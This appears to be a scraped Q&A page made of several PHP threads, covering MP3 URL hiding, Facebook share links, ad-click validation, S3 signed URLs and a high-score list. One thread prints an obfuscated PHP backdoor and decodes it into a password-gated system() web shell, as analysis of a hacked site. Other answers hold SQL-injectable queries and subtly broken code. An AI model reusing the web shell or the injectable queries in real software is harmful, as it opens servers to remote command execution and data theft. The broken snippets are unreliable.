Protecting mp3 file path in flash player - php

I have flash player in my web site for playing the mp3 files.But if someone uses "viewsource" or any browser tools such as firebug, then they can find the parameter and then sort out the actual mp3 file url.I am using php in my back end. There should be someway to hide these parameters but couldn't figure out how?
Any ideas?

Preface: If you show it on the web you can steal it. Period.
That said, you can make it a lot harder by masking the URL of the file by passing it through a php script that does two things:
1) Translates an encrypted GET parameter which can be validated AND can be used only once (store the variable in a database or log). This code will be created when the player is loaded, and once it's started buffering the file cannot be used again. This way the parameter cannot just be a random string (it has to be decryptable) and the user cannot just use the same URL.
The php in the html page the user would receive would look something like:
$key = 'My EnCyption Key';
$unique_string = "Generated at ".time().$_SERVER['REMOTE_ADDR']; //the time element changes the string each time and the IP address controls for multiple users simultaneously loading the same page
$tolken = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $string, MCRYPT_MODE_CBC, md5(md5($key))));
and then then the flash player would be set to use the mp3 file:
http://yoursite.com/mp3/file_fetcher.php?file_id=123&tolken=<?php echo $tolken;?>
The file file_fetcher.php would have something like this (obviously this requires some fleshing out):
$fixed_string_part = "Generated at ";
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($_GET['tolken']), MCRYPT_MODE_CBC, md5(md5($key))), "\0");
if (substr($decrypted,0,strlen($fixed_string_part))!=$fixed_string_part){
die("Your tolken is invalid");
}
//check that the tolken hasn't been used before:
$check_query = mysql_query("select * from `mp3_tolken_log` where `tolken`='$decrypted';",[connection identifier]); //write this more cleanly
if (mysql_num_rows($query)){
die("You've already used that tolken!");
} else {
$log_it = mysql_query("insert into `mp3_tolken_log` (`tolken`,`dateadded`) VALUES ($decrypted,NOW())"); //make sure it's in there so it can't be used again
}
//now get the file if we haven't already died
$contents = file_get_contents([path/to/mp3/file/specified/by/id/$_GET['file_id']]);
header('Content-Type: audio/mpeg');
echo $contents;
2) Check that the referring site is your own site (rather than them trying to access the script directly). Something like:
if (!isset($_SERVER['HTTP_REFERER'])){die("Restricted Access!");};
$_u=parse_url($_SERVER['HTTP_REFERER']);
$_u=preg_replace("/(www.)/i","",strtolower($_u['host']));
$_i=$_SERVER['HTTP_HOST'];
$_i=preg_replace("/(www.)/i","",strtolower($_i));
($_u == $_i) or die("Restricted Access!");
Of course this information can be faked, but between it and the single-access pass you shouldn't have to worry about direct downloads. That said, remember that there are a million ways to get the file from the stream, and there's just no way to stop that.

Related

Share PHP GD-created image on Facebook

Using the PHP GD image library I have successfully outputted an image with text from url parameters (a, b, c).
I need to be able to send these images to the Facebook sharing url so that they can be sent to social media.
https://www.facebook.com/sharer/sharer.php?u=http://example.com/script.php?a=1&b=2&c=3
However, the sharing link does not seem to accept my php parameters. When I test the url, it pulls the image but does not send any numbers resulting in no text carried through.
Is there a way to save the complete image with parameters and have it sent to the Facebook sharing url? I am doing this through a link embedded in email, so it cannot use anything more complicated than basic HTML.
You'll likely need to encode your url such that the ?, = and & aren't read by facebooks php script.
See here for details of encoding.
? is %3F, = is %3D and & is %26
So your url would be :
https://www.facebook.com/sharer/sharer.php?u=http://example.com/script.php%3Fa%3D1%26b%3D2%26c%3D3
Note: I've not tested this as I don't want to post to facebook :)
So I did eventually end up solving this. After giving up on pushing a php image to Facebook with url parameters included, I attempted to place the image into an email. This worked well in nearly every client EXCEPT Gmail. I had to convert the url parameters to get around the Gmail proxy which allowed the image to be displayed AND it also happened to now be usable in the Facebook sharer. Double hooray!
The original way I had it set up was to link the php image with url parameters and use $_GET to place them on the image:
script-wrong.php
$var1 = $_GET['a'];
$var2 = $_GET['b'];
$var3 = $_GET['c'];
The correct way to do this is the following:
script.php
$uri = $_SERVER['REQUEST_URI'];
$path = substr($uri, strpos($uri, "a=")); // start your url parameters here
$delim = 'abc=&'; // enter all characters you use in parameters (a, b, c, =, &)
$tok = strtok($path, $delim);
$tokens = array();
while ($tok !== false) {
array_push($tokens, $tok);
$tok = strtok($delim);
}
$var1 = $tokens[0];
$var2 = $tokens[1];
$var3 = $tokens[2];
What this does is look at the url and pull specified characters ($delim) from it to place into an array. Then using what follows those characters, set their value to a token and place that token on the image.
Here is how I set up my php image to display in the email:
<img src="http://example.com/script.php/a=1&b=2&c=3">
And my share URL:
https://www.facebook.com/sharer/sharer.php?u=http://example.com/script.php/a=1%26b=2%26c=3

How to securely get variables from a link?

Suppose a website xyz.com is showing ads from my ad network example.com using JavaScript code:
<script type='text/javascript' src='http://example.com/click.php?id=12345678'></script>
Which shows the ad as:
click.php
<a href="http://example.com/process.php?var1=var1&var2=var2">
<img src="http://example.com/ads/banner.png"/></a>
When the link is clicked it is taken to process.php where I add and subtract balance using some MySQL queries and then redirect to ad's URL.
process.php
$ua = $_SERVER['HTTP_USER_AGENT'];
$ip = $_SERVER['REMOTE_ADDR'];
//invalid click
if($_SERVER['HTTP_REFERER']==null || $_SERVER['HTTP_USER_AGENT']==null) {
header("location: http://example.com");
exit;
}
I want to add to an Unique Session at click.php and retrieve it at process.php to prevent invalid clicks. How do I do that?
Update:
The answer below solves half of the issue but the users are still able to send fake clicks using iframe and img tag as below:
<img src="http://example.com/click.php?id=12345678" height="1px" width="1px"/>
These clicks are still being counted as the request are served by both the pages click.php and process.php
What's the solution for this?
I have got a solution to the problem and it works perfectly:
EDIT:
I have found a solution:
To set the variables using sessions at click.php and sent it to process.php using a random number
click.php
$_SESSION["ip"]=$ip;
$_SESSION["ua"]=$ua;
$rand="".rand(1,9)."".rand(0,9)."".rand(0,9)."".rand(0,9)."".rand(0,9)."".rand(0,9)."";
$_SESSION["hash"]=$rand;
<a href="http://example.com/process.php?hash=$rand">
<img src="http://example.com/ads/banner.png"/></a>
and getting the values from the session at process.php
process.php
$hash=$_GET["hash"];
$ua=$_SESSION["ua"];
$ip=$_SESSION["ip"];
$rand=$_SESSION["hash"];
// Invalid Redirection Protection
if(($hash!=$rand) || ($ip!=$_SERVER['REMOTE_ADDR']) || ($ua!=$_SERVER['HTTP_USER_AGENT'])) {
header("location: http://example.com");
session_destroy();
exit;
}
If I have understood your question, your goal is to ensure that any requests arriving at http://example.com/process.php were from links created by http://example.com/click.php
(note that this only means that anyone trying to subvert your system needs to fetch http://example.com/click.php and extract the relevant data before fetching http://example.com/process.php. It raises the bar a little but it is a long way from being foolproof).
PHP already has a very good sessions mechanism. It would be easy to adapt to propogation via a url embedded in the script output (since you can't rely on cookies being available). However as it depends on writing to storage, its not very scalable.
I would go with a token with a finite number of predictable good states (and a much larger number of bad states). That means using some sort of encryption. While a symmetric cipher would give the easiest model to understand it's more tricky to implement than a hash based model.
With the hash model you would hash the values you are already sending with a secret salt and include the hash in the request. Then at the receiving end, repeat the exercise and compared the generated hash with the sent hash.
To prevent duplicate submissions you'd need to use some other identifier in the request vars - a large random number, the client IP address, the time....
define('SALT','4387trog83754kla');
function mk_protected_url($url)
{
$parts=parse_url($url);
$args=parse_str($parts['query']);
$args['timenow']=time();
$args['rand']=rand(1000,30000);
sort($args);
$q=http_build_query($args);
$args['hash']=sha1(SALT . $q);
$q=http_build_query($args);
return $parts['scheme'] . '://'
.$parts['host'] . '/'
.$parts['path'] . '?' . $q;
}
function chk_protected_url($url)
{
$parts=parse_url($url);
$args=parse_str($parts['query']);
$hash=$args['hash'];
unset($args['hash'];
// you might also want to validate other values in the query such as the age
$q=http_build_query($args);
$check=sha1(SALT . $q);
return ($hash === $check)
}

My website got hacked - what does this code do?

Someone hacked my site and included this code. Could someone explain what it does?
I've reformatted the spacing for better clarity. I've tried running the code but it looks like all it does is return an md5 hash. Is this harmless?
<?
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'),
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'),
base64_decode('dX' .'JsZGVjb2Rl'),
base64_decode('c3lz' .'dGVt'));
?>
<? function
_787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
?>
<?php
$_0=_787708145(0);
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
if($_1!=$_0)exit;
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
if($_2==_787708145(3))exit;
$GLOBALS['_131068239_'][3]($_2);exit;
?>
Answer inline in the code comments below.
In short the script allows a shell to be either written or uploaded to your server.
Later edit: definitely not harmless, burn it with fire.
<?php
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'), // md5 - php function
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode - php function
base64_decode('dX' .'JsZGVjb2Rl'), //urldecode - php function
base64_decode('c3lz' .'dGVt')); //system - php function
function _787708145($i)
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=',
'cA==',
'cw==',
'');
return base64_decode($a[$i]);
}
$_0=_787708145(0); // md5 hash 2caf6917ca3d9a3a85d26029ed623b1a
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
// this is a function call md5(urldecode($_REQUEST[p]))
// this script is passed an url as a get or post parameter and getting md5 encoded
if($_1!=$_0)exit; // the md5 hash is compared here with the hash above
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
// another function call, urldecode($_REQUEST[s])
// another parameter is passed
if($_2==_787708145(3))exit; // if the urldecode above == blank then exit
$GLOBALS['_131068239_'][3]($_2);
// execute system function with the "s" parameter, system(s)
// basically writing a shell on your server here
exit;
// job done, exit :)
Not harmless. This is the code with the obfuscation stuff removed:
$_0 = '2caf6917ca3d9a3a85d26029ed623b1a';
$_1 = md5(urldecode($_REQUEST['p']));
if ($_1 != $_0) exit;
$_2 = urldecode($_REQUEST['s']);
if ($_2 == '') exit;
system($_2);
exit;
If this is present in a PHP file on your server, it means that a malicious user can craft an URL with p and s parameters, in order to execute any program on your server (using the system call) with the privileges of the user running your webserver.
I would advice you to get rid of this.
Yes, the above code is a backdoor. It requests the user a system command & this code executes that command on your server. Here is what the above code does!!
<?
// Here all the strings are base64 encoded
$GLOBALS['_131068239_']=Array(
base64_decode('bWQ' .'1'), // md5
base64_decode('' .'dXJsZGV' .'jb' .'2Rl'), // urldecode
base64_decode('dX' .'JsZGVjb2Rl'), // urldecode
base64_decode('c3lz' .'dGVt')); // system - syntax to execute PHP on the server
?>
In the above code, system is used to execute command on your server
<? function _787708145($i) // Function Created
{
$a=Array(
'MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE=', // MD5 string 2caf6917ca3d9a3a85d26029ed623b1a
'cA==', // p
'cw==', // s
'');
return base64_decode($a[$i]);
}
?>
Above is the function created
<?php
$_0=_787708145(0);
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
if($_1!=$_0)exit;
$_2=$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]);
if($_2==_787708145(3))exit;
$GLOBALS['_131068239_'][3]($_2);exit;
?>
This line
$_1=$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]));
_787708145(1) : p
So $_REQUEST[_787708145(1)]) will asking for user to enter parameter with value with p parameter name
$GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)]) : urlencode($_REQUEST["p"])
$GLOBALS['_131068239_'][0]($GLOBALS['_131068239_'][1]($_REQUEST[_787708145(1)])) : md5(urlencode($_REQUEST["p"]))
It will match the password if($_1!=$_0)exit;
$GLOBALS['_131068239_'][2]($_REQUEST[_787708145(2)]); : urlencode($_REQUEST["s"]);
if($_2=="s")exit;
Now comes the final part i.e.
$GLOBALS['_131068239_'][3]($_2); : system($_2); // $_2 is the value supplied by the user to execute command
Decoding the base64 strings:
bWQ1 is md5
dXJsZGVjb2Rl is urldecode
c3lzdGVt is system
MmNhZjY5MTdjYTNkOWEzYTg1ZDI2MDI5ZWQ2MjNiMWE= is 2caf6917ca3d9a3a85d26029ed623b1a
dXJsZGVjb2Rl is urldecode
cA== is p
cw== is s
dXJsZGVjb2Rl is urldecode
This should provide some insight into the aim of the obfuscated code.
I had a virus all over my WordPress server which included the same md5 encoded key. I posted about it here. It was heavily obfuscated, but below is the fully-decoded virus. They ran the code inside eval() which was inside create_function().
create_function() is depreciated as of PHP 7.2, so upgrading your server's PHP will prevent this from happening again. In my case the backdoor was in every functions.php file on my server, across two websites and every WordPress theme, whether in use or not.
$c = "2caf6917ca3d9a3a85d26029ed623b1a";
$p = md5(urldecode($_REQUEST["p"]));
if ($p != $c) exit;
$s = urldecode($_REQUEST["s"]);
if ($s == "") exit;
system($s);
exit;
I've also been having email troubles, so I suspect they were running programs to send spam.

Securely serving files from Amazon S3

I have an app that uploads user files to S3. At the moment, the ACL for the folders and files is set to private.
I have created a db table (called docs) that stores the following info:
id
user_id
file_name (original file as specified by the user)
hash_name (random hash used to save the file on amazon)
So, when a user wants to download a file, I first check in the db table that they have access to file. I'd prefer to not have the file first downloaded to my server and then sent to the user - I'd like them to be able to grab the file directly from Amazon.
Is it OK to rely on a very very long hashname (making it basically impossible for anyone to randomly guess a filename)? In this case, I can set the ACL for each file to public-read.
Or, are there other options that I can use to serve the files whilst keeping them private?
Remember, once the link is out there, nothing prevents a user from sharing that link with others. Then again, nothing prevents the user from saving the file elsewhere and sharing a link to the copy of the file.
The best approach depends on your specific needs.
Option 1 - Time Limited Download URL
If applicable to your scenario, you can also create expiring (time-limited) custom links to the S3 contents. That would allow the user to download content for a limited amount of time, after which they would have to obtain a new link.
http://docs.amazonwebservices.com/AmazonS3/latest/dev/S3_QSAuth.html
Option 2 - Obfuscated URL
If you value avoiding running the file through your web server over the risk that a URL, however obscure, might be intentionally shared, then use the hard-to-guess link name. This would allow a link to remain valid "forever", which means the link can be shared "forever".
Option 3 - Download through your server
If you are concerned about the link being shared and certainly want users to authenticate through your website, then serve the content through your website after verifying user credentials.
This option also allows the link to remain valid "forever" but require the user to log in (or perhaps just have an authentication cookie in the browser) to access the link.
I just want to post the PHP solution with code, if anybody has the same problem.
Here's the code I used:
$aws_access_key_id = 'AKIAIOSFODNN7EXAMPLE';
$aws_secret_key = 'YourSecretKey12345';
$aws_bucket = 'bucket';
$file_path = 'directory/image.jpg';
$timeout = '+10 minutes';
// get the URL!
$url = get_public_url($aws_access_key_id,$aws_secret_key,$aws_bucket,$file_path,$timeout);
// print the URL!
echo($url);
function get_public_url($keyID, $s3Key, $bucket, $filepath, $timeout)
{
$expires = strtotime($timeout);
$stringToSign = "GET\n\n\n{$expires}\n/{$aws_bucket}/{$file_path}";
$signature = urlencode(hex2b64(hmacsha1($s3Key, utf8_encode($stringToSign))));
$url = "https://{$bucket}.s3.amazonaws.com/{$file_path}?AWSAccessKeyId={$keyID}&Signature={$signature}&Expires={$expires}";
return $url;
}
function hmacsha1($key,$data)
{
$blocksize=64;
$hashfunc='sha1';
if (strlen($key)>$blocksize)
$key=pack('H*', $hashfunc($key));
$key=str_pad($key,$blocksize,chr(0x00));
$ipad=str_repeat(chr(0x36),$blocksize);
$opad=str_repeat(chr(0x5c),$blocksize);
$hmac = pack(
'H*',$hashfunc(
($key^$opad).pack(
'H*',$hashfunc(
($key^$ipad).$data
)
)
)
);
return bin2hex($hmac);
}
function hex2b64($str)
{
$raw = '';
for ($i=0; $i < strlen($str); $i+=2)
{
$raw .= chr(hexdec(substr($str, $i, 2)));
}
return base64_encode($raw);
}

Open txt files from a directory, compare the values, and output the top 15 in PHP

I recently designed a referral game website for the fun of it.
There's a simple MySQL user system with a email verification. It's using the UserCake user management system.
On top of this i added a php page that the user could give to "victims" that when they visit it they get "infected" and can infect other users or "victims". This page uses GET to get the username from the url. I have a folder that when a user registers it creates a file with 4 digits and then the username. (ex; 0000Username.txt) All the numbers are the same, it's just so that if a user discovers the folder they won't be able to find the files. There is also a txt file in the same format with IPS in the name. (ex; 0000IPSUsername.txt) The file when visited gets the username from the url, then checks if the text file for that username exists. If the username is present in the url, and a valid user it opens the IPS file and adds the IP of the visitor, then opens the user text file, takes the value and adds one to it, and saves. At the end it makes the difference between saying "You are infected, Username has infected (amount) people." or just you have been infected.
Now to what i need!
I need to add a hi-scores to the website so people can compete to be the one with the most "infections".
I thought i could use readdir to get a list of the files and open them with the value in an array, but i need it to also strip the username from the file name. It would be best if it just saves to a text file like "Username | value" because then i can add echo's of the html tags and have it include the file in the page i want it to be one.
Many thanks in advance.
Try using an array and count($array) to count the files.
Stripping the values out is as simple as using PHP's str_replace function. More here: http://php.net/manual/en/function.str-replace.php
With the 0000Username.txt file try using json.
// Get
$contents = file_get_contents('0000Username.txt');
$data = json_decode($contents); // PHP > 5.2.0
// Put
$data['username'] = 'Username';
$data['infectious'] = $data['infectious'] + 1;
$contents = json_encode($data); // PHP > 5.2.0
file_put_contents($contents);

Categories